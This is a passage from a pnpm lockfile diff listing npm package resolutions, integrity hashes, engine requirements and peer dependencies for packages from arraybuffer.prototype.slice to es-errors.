sha512-p6Fx8B7b7ZhL/gmUsAy0D15WhvDccw3mnGNbZpi3pmeJdxtWsj2jEaI4Y6oo3XiHfzuSgPwKc04MYt6KgvC/wA==} + engines: {node: '>= 0.4'} + + arraybuffer.prototype.slice@1.0.4: + resolution: {integrity: sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==} + engines: {node: '>= 0.4'} + + astring@1.9.0: + resolution: {integrity: sha512-LElXdjswlqjWrPpJFg1Fx4wpkOCxj1TDHlSV4PlaRxHGWko024xICaa97ZkMfs6DRKlCguiAI+rbXv5GWwXIkg==} + hasBin: true + + async-function@1.0.0: + resolution: {integrity: sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA==} + engines: {node: '>= 0.4'} + + autoprefixer@10.4.27: + resolution: {integrity: sha512-NP9APE+tO+LuJGn7/9+cohklunJsXWiaWEfV3si4Gi/XHDwVNgkwr1J3RQYFIvPy76GmJ9/bW8vyoU1LcxwKHA==} + engines: {node: ^10 || ^12 || >=14} + hasBin: true + peerDependencies: + postcss: ^8.1.0 + + available-typed-arrays@1.0.7: + resolution: {integrity: sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==} + engines: {node: '>= 0.4'} + + bail@2.0.2: + resolution: {integrity: sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw==} + + balanced-match@1.0.2: + resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==} + + base64-js@1.5.1: + resolution: {integrity: sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==} + + baseline-browser-mapping@2.10.0: + resolution: {integrity: sha512-lIyg0szRfYbiy67j9KN8IyeD7q7hcmqnJ1ddWmNt19ItGpNN64mnllmxUNFIOdOm6by97jlL6wfpTTJrmnjWAA==} + engines: {node: '>=6.0.0'} + hasBin: true + + basic-auth@2.0.1: + resolution: {integrity: sha512-NF+epuEdnUYVlGuhaxbbq+dvJttwLnGY+YixlXlME5KpQ5W3CnXA5cVTneY3SPbPDRkcjMbifrwmFYcClgOZeg==} + engines: {node: '>= 0.8'} + + binary-extensions@2.3.0: + resolution: {integrity: sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==} + engines: {node: '>=8'} + + bl@4.1.0: + resolution: {integrity: sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==} + + body-parser@1.20.4: + resolution: {integrity: sha512-ZTgYYLMOXY9qKU/57FAo8F+HA2dGX7bqGc71txDRC1rS4frdFI5R7NhluHxH6M0YItAP0sHB4uqAOcYKxO6uGA==} + engines: {node: '>= 0.8', npm: 1.2.8000 || >= 1.4.16} + + boolbase@1.0.0: + resolution: {integrity: sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==} + + brace-expansion@1.1.12: + resolution: {integrity: sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==} + + brace-expansion@2.0.2: + resolution: {integrity: sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==} + + braces@3.0.3: + resolution: {integrity: sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==} + engines: {node: '>=8'} + + browserify-zlib@0.1.4: + resolution: {integrity: sha512-19OEpq7vWgsH6WkvkBJQDFvJS1uPcbFOQ4v9CU839dO+ZZXUZO6XpE6hNCqvlIIj+4fZvRiJ6DsAQ382GwiyTQ==} + + browserslist@4.28.1: + resolution: {integrity: sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==} + engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} + hasBin: true + + buffer-from@1.1.2: + resolution: {integrity: sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==} + + buffer@5.7.1: + resolution: {integrity: sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==} + + bytes@3.1.2: + resolution: {integrity: sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==} + engines: {node: '>= 0.8'} + + cac@6.7.14: + resolution: {integrity: sha512-b6Ilus+c3RrdDk+JhLKUAQfzzgLEPy6wcXqS7f/xe1EETvsDP6GORG7SFuOs6cID5YkqchW/LXZbX5bc8j7ZcQ==} + engines: {node: '>=8'} + + cacache@17.1.4: + resolution: {integrity: sha512-/aJwG2l3ZMJ1xNAnqbMpA40of9dj/pIH3QfiuQSqjfPJF747VR0J/bHn+/KdNnHKc6XQcWt/AfRSBft82W1d2A==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + + call-bind-apply-helpers@1.0.2: + resolution: {integrity: sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==} + engines: {node: '>= 0.4'} + + call-bind@1.0.8: + resolution: {integrity: sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==} + engines: {node: '>= 0.4'} + + call-bound@1.0.4: + resolution: {integrity: sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==} + engines: {node: '>= 0.4'} + + callsites@3.1.0: + resolution: {integrity: sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==} + engines: {node: '>=6'} + + caniuse-api@3.0.0: + resolution: {integrity: sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==} + + caniuse-lite@1.0.30001774: + resolution: {integrity: sha512-DDdwPGz99nmIEv216hKSgLD+D4ikHQHjBC/seF98N9CPqRX4M5mSxT9eTV6oyisnJcuzxtZy4n17yKKQYmYQOA==} + + ccount@2.0.1: + resolution: {integrity: sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==} + + chalk@4.1.2: + resolution: {integrity: sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==} + engines: {node: '>=10'} + + character-entities-html4@2.1.0: + resolution: {integrity: sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==} + + character-entities-legacy@3.0.0: + resolution: {integrity: sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==} + + character-entities@2.0.2: + resolution: {integrity: sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ==} + + character-reference-invalid@2.0.1: + resolution: {integrity: sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw==} + + chokidar@3.6.0: + resolution: {integrity: sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==} + engines: {node: '>= 8.10.0'} + + chownr@1.1.4: + resolution: {integrity: sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==} + + chownr@2.0.0: + resolution: {integrity: sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==} + engines: {node: '>=10'} + + class-variance-authority@0.7.1: + resolution: {integrity: sha512-Ka+9Trutv7G8M6WT6SeiRWz792K5qEqIGEGzXKhAE6xOWAY6pPH8U+9IY3oCMv6kqTmLsv7Xh/2w2RigkePMsg==} + + clean-stack@2.2.0: + resolution: {integrity: sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==} + engines: {node: '>=6'} + + cli-cursor@3.1.0: + resolution: {integrity: sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==} + engines: {node: '>=8'} + + cli-spinners@2.9.2: + resolution: {integrity: sha512-ywqV+5MmyL4E7ybXgKys4DugZbX0FC6LnwrhjuykIjnK9k8OQacQ7axGKnjDXWNhns0xot3bZI5h55H8yo9cJg==} + engines: {node: '>=6'} + + clone@1.0.4: + resolution: {integrity: sha512-JQHZ2QMW6l3aH/j6xCqQThY/9OH4D/9ls34cgkUBiEeocRTU04tHfKPBsUK1PqZCUQM7GiA0IIXJSuXHI64Kbg==} + engines: {node: '>=0.8'} + + clsx@2.1.1: + resolution: {integrity: sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==} + engines: {node: '>=6'} + + cmdk@1.1.1: + resolution: {integrity: sha512-Vsv7kFaXm+ptHDMZ7izaRsP70GgrW9NBNGswt9OZaVBLlE0SNpDq8eu/VGXyF9r7M0azK3Wy7OlYXsuyYLFzHg==} + peerDependencies: + react: ^18 || ^19 || ^19.0.0-rc + react-dom: ^18 || ^19 || ^19.0.0-rc + + color-convert@2.0.1: + resolution: {integrity: sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==} + engines: {node: '>=7.0.0'} + + color-name@1.1.4: + resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==} + + colord@2.9.3: + resolution: {integrity: sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw==} + + comma-separated-tokens@2.0.3: + resolution: {integrity: sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg==} + + commander@7.2.0: + resolution: {integrity: sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==} + engines: {node: '>= 10'} + + commondir@1.0.1: + resolution: {integrity: sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==} + + compressible@2.0.18: + resolution: {integrity: sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==} + engines: {node: '>= 0.6'} + + compression@1.8.1: + resolution: {integrity: sha512-9mAqGPHLakhCLeNyxPkK4xVo746zQ/czLH1Ky+vkitMnWfWZps8r0qXuwhwizagCRttsL4lfG4pIOvaWLpAP0w==} + engines: {node: '>= 0.8.0'} + + concat-map@0.0.1: + resolution: {integrity: sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==} + + concat-with-sourcemaps@1.1.0: + resolution: {integrity: sha512-4gEjHJFT9e+2W/77h/DS5SGUgwDaOwprX8L/gl5+3ixnzkVJJsZWDSelmN3Oilw3LNDZjZV0yqH1hLG3k6nghg==} + + confbox@0.1.8: + resolution: {integrity: sha512-RMtmw0iFkeR4YV+fUOSucriAQNb9g8zFR52MWCtl+cCZOFRNL6zeB395vPzFhEjjn4fMxXudmELnl/KF/WrK6w==} + + confbox@0.2.4: + resolution: {integrity: sha512-ysOGlgTFbN2/Y6Cg3Iye8YKulHw+R2fNXHrgSmXISQdMnomY6eNDprVdW9R5xBguEqI954+S6709UyiO7B+6OQ==} + + content-disposition@0.5.4: + resolution: {integrity: sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==} + engines: {node: '>= 0.6'} + + content-type@1.0.5: + resolution: {integrity: sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==} + engines: {node: '>= 0.6'} + + convert-source-map@2.0.0: + resolution: {integrity: sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==} + + cookie-signature@1.0.7: + resolution: {integrity: sha512-NXdYc3dLr47pBkpUCHtKSwIOQXLVn8dZEuywboCOJY/osA0wFSLlSawr3KN8qXJEyX66FcONTH8EIlVuK0yyFA==} + + cookie-signature@1.2.2: + resolution: {integrity: sha512-D76uU73ulSXrD1UXF4KE2TMxVVwhsnCgfAyTg9k8P6KGZjlXKrOLe4dJQKI3Bxi5wjesZoFXJWElNWBjPZMbhg==} + engines: {node: '>=6.6.0'} + + cookie@0.7.2: + resolution: {integrity: sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==} + engines: {node: '>= 0.6'} + + core-util-is@1.0.3: + resolution: {integrity: sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==} + + cross-spawn@7.0.6: + resolution: {integrity: sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==} + engines: {node: '>= 8'} + + css-declaration-sorter@6.4.1: + resolution: {integrity: sha512-rtdthzxKuyq6IzqX6jEcIzQF/YqccluefyCYheovBOLhFT/drQA9zj/UbRAa9J7C0o6EG6u3E6g+vKkay7/k3g==} + engines: {node: ^10 || ^12 || >=14} + peerDependencies: + postcss: ^8.0.9 + + css-select@4.3.0: + resolution: {integrity: sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==} + + css-tree@1.1.3: + resolution: {integrity: sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==} + engines: {node: '>=8.0.0'} + + css-what@6.2.2: + resolution: {integrity: sha512-u/O3vwbptzhMs3L1fQE82ZSLHQQfto5gyZzwteVIEyeaY5Fc7R4dapF/BvRoSYFeqfBk4m0V1Vafq5Pjv25wvA==} + engines: {node: '>= 6'} + + cssesc@3.0.0: + resolution: {integrity: sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==} + engines: {node: '>=4'} + hasBin: true + + cssnano-preset-default@5.2.14: + resolution: {integrity: sha512-t0SFesj/ZV2OTylqQVOrFgEh5uanxbO6ZAdeCrNsUQ6fVuXwYTxJPNAGvGTxHbD68ldIJNec7PyYZDBrfDQ+6A==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + cssnano-utils@3.1.0: + resolution: {integrity: sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + cssnano@5.1.15: + resolution: {integrity: sha512-j+BKgDcLDQA+eDifLx0EO4XSA56b7uut3BQFH+wbSaSTuGLuiyTa/wbRYthUXX8LC9mLg+WWKe8h+qJuwTAbHw==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + csso@4.2.0: + resolution: {integrity: sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA==} + engines: {node: '>=8.0.0'} + + csstype@3.2.3: + resolution: {integrity: sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==} + + data-uri-to-buffer@3.0.1: + resolution: {integrity: sha512-WboRycPNsVw3B3TL559F7kuBUM4d8CgMEvk6xEJlOp7OBPjt6G7z8WMWlD2rOFZLk6OYfFIUGsCOWzcQH9K2og==} + engines: {node: '>= 6'} + + data-view-buffer@1.0.2: + resolution: {integrity: sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==} + engines: {node: '>= 0.4'} + + data-view-byte-length@1.0.2: + resolution: {integrity: sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==} + engines: {node: '>= 0.4'} + + data-view-byte-offset@1.0.1: + resolution: {integrity: sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==} + engines: {node: '>= 0.4'} + + date-fns@3.6.0: + resolution: {integrity: sha512-fRHTG8g/Gif+kSh50gaGEdToemgfj74aRX3swtiouboip5JDLAyDE9F11nHMIcvOaXeOC6D7SpNhi7uFyB7Uww==} + + debug@2.6.9: + resolution: {integrity: sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==} + peerDependencies: + supports-color: '*' + peerDependenciesMeta: + supports-color: + optional: true + + debug@4.4.3: + resolution: {integrity: sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==} + engines: {node: '>=6.0'} + peerDependencies: + supports-color: '*' + peerDependenciesMeta: + supports-color: + optional: true + + decode-named-character-reference@1.3.0: + resolution: {integrity: sha512-GtpQYB283KrPp6nRw50q3U9/VfOutZOe103qlN7BPP6Ad27xYnOIWv4lPzo8HCAL+mMZofJ9KEy30fq6MfaK6Q==} + + dedent@1.7.1: + resolution: {integrity: sha512-9JmrhGZpOlEgOLdQgSm0zxFaYoQon408V1v49aqTWuXENVlnCuY9JBZcXZiCsZQWDjTm5Qf/nIvAy77mXDAjEg==} + peerDependencies: + babel-plugin-macros: ^3.1.0 + peerDependenciesMeta: + babel-plugin-macros: + optional: true + + deep-is@0.1.4: + resolution: {integrity: sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==} + + deep-object-diff@1.1.9: + resolution: {integrity: sha512-Rn+RuwkmkDwCi2/oXOFS9Gsr5lJZu/yTGpK7wAaAIE75CC+LCGEZHpY6VQJa/RoJcrmaA/docWJZvYohlNkWPA==} + + deepmerge@4.3.1: + resolution: {integrity: sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==} + engines: {node: '>=0.10.0'} + + defaults@1.0.4: + resolution: {integrity: sha512-eFuaLoy/Rxalv2kr+lqMlUnrDWV+3j4pljOIJgLIhI058IQfWJ7vXhyEIHu+HtC738klGALYxOKDO0bQP3tg8A==} + + define-data-property@1.1.4: + resolution: {integrity: sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==} + engines: {node: '>= 0.4'} + + define-properties@1.2.1: + resolution: {integrity: sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==} + engines: {node: '>= 0.4'} + + depd@2.0.0: + resolution: {integrity: sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==} + engines: {node: '>= 0.8'} + + dequal@2.0.3: + resolution: {integrity: sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==} + engines: {node: '>=6'} + + destroy@1.2.0: + resolution: {integrity: sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==} + engines: {node: '>= 0.8', npm: 1.2.8000 || >= 1.4.16} + + detect-libc@2.1.2: + resolution: {integrity: sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==} + engines: {node: '>=8'} + + detect-node-es@1.1.0: + resolution: {integrity: sha512-ypdmJU/TbBby2Dxibuv7ZLW3Bs1QEmM7nHjEANfohJLvE0XVujisn1qPJcZxg+qDucsr+bP6fLD1rPS3AhJ7EQ==} + + diff@5.2.2: + resolution: {integrity: sha512-vtcDfH3TOjP8UekytvnHH1o1P4FcUdt4eQ1Y+Abap1tk/OB2MWQvcwS2ClCd1zuIhc3JKOx6p3kod8Vfys3E+A==} + engines: {node: '>=0.3.1'} + + dir-glob@3.0.1: + resolution: {integrity: sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==} + engines: {node: '>=8'} + + doctrine@2.1.0: + resolution: {integrity: sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==} + engines: {node: '>=0.10.0'} + + doctrine@3.0.0: + resolution: {integrity: sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==} + engines: {node: '>=6.0.0'} + + dom-serializer@1.4.1: + resolution: {integrity: sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==} + + domelementtype@2.3.0: + resolution: {integrity: sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==} + + domhandler@4.3.1: + resolution: {integrity: sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==} + engines: {node: '>= 4'} + + dompurify@3.2.7: + resolution: {integrity: sha512-WhL/YuveyGXJaerVlMYGWhvQswa7myDG17P7Vu65EWC05o8vfeNbvNf4d/BOvH99+ZW+LlQsc1GDKMa1vNK6dw==} + + domutils@2.8.0: + resolution: {integrity: sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==} + + dotenv@16.6.1: + resolution: {integrity: sha512-uBq4egWHTcTt33a72vpSG0z3HnPuIl6NqYcTrKEg2azoEyl2hpW0zqlxysq2pK9HlDIHyHyakeYaYnSAwd8bow==} + engines: {node: '>=12'} + + dunder-proto@1.0.1: + resolution: {integrity: sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==} + engines: {node: '>= 0.4'} + + duplexify@3.7.1: + resolution: {integrity: sha512-07z8uv2wMyS51kKhD1KsdXJg5WQ6t93RneqRxUHnskXVtlYYkLqM0gqStQZ3pj073g687jPCHrqNfCzawLYh5g==} + + eastasianwidth@0.2.0: + resolution: {integrity: sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==} + + ee-first@1.1.1: + resolution: {integrity: sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==} + + electron-to-chromium@1.5.302: + resolution: {integrity: sha512-sM6HAN2LyK82IyPBpznDRqlTQAtuSaO+ShzFiWTvoMJLHyZ+Y39r8VMfHzwbU8MVBzQ4Wdn85+wlZl2TLGIlwg==} + + emoji-regex@8.0.0: + resolution: {integrity: sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==} + + emoji-regex@9.2.2: + resolution: {integrity: sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==} + + encodeurl@2.0.0: + resolution: {integrity: sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==} + engines: {node: '>= 0.8'} + + end-of-stream@1.4.5: + resolution: {integrity: sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg==} + + enhanced-resolve@5.20.1: + resolution: {integrity: sha512-Qohcme7V1inbAfvjItgw0EaxVX5q2rdVEZHRBrEQdRZTssLDGsL8Lwrznl8oQ/6kuTJONLaDcGjkNP247XEhcA==} + engines: {node: '>=10.13.0'} + + entities@2.2.0: + resolution: {integrity: sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==} + + err-code@2.0.3: + resolution: {integrity: sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA==} + + es-abstract@1.24.1: + resolution: {integrity: sha512-zHXBLhP+QehSSbsS9Pt23Gg964240DPd6QCf8WpkqEXxQ7fhdZzYsocOr5u7apWonsS5EjZDmTF+/slGMyasvw==} + engines: {node: '>= 0.4'} + + es-define-property@1.0.1: + resolution: {integrity: sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==} + engines: {node: '>= 0.4'} + + es-errors@1.3.0: + resolution: {integrity: 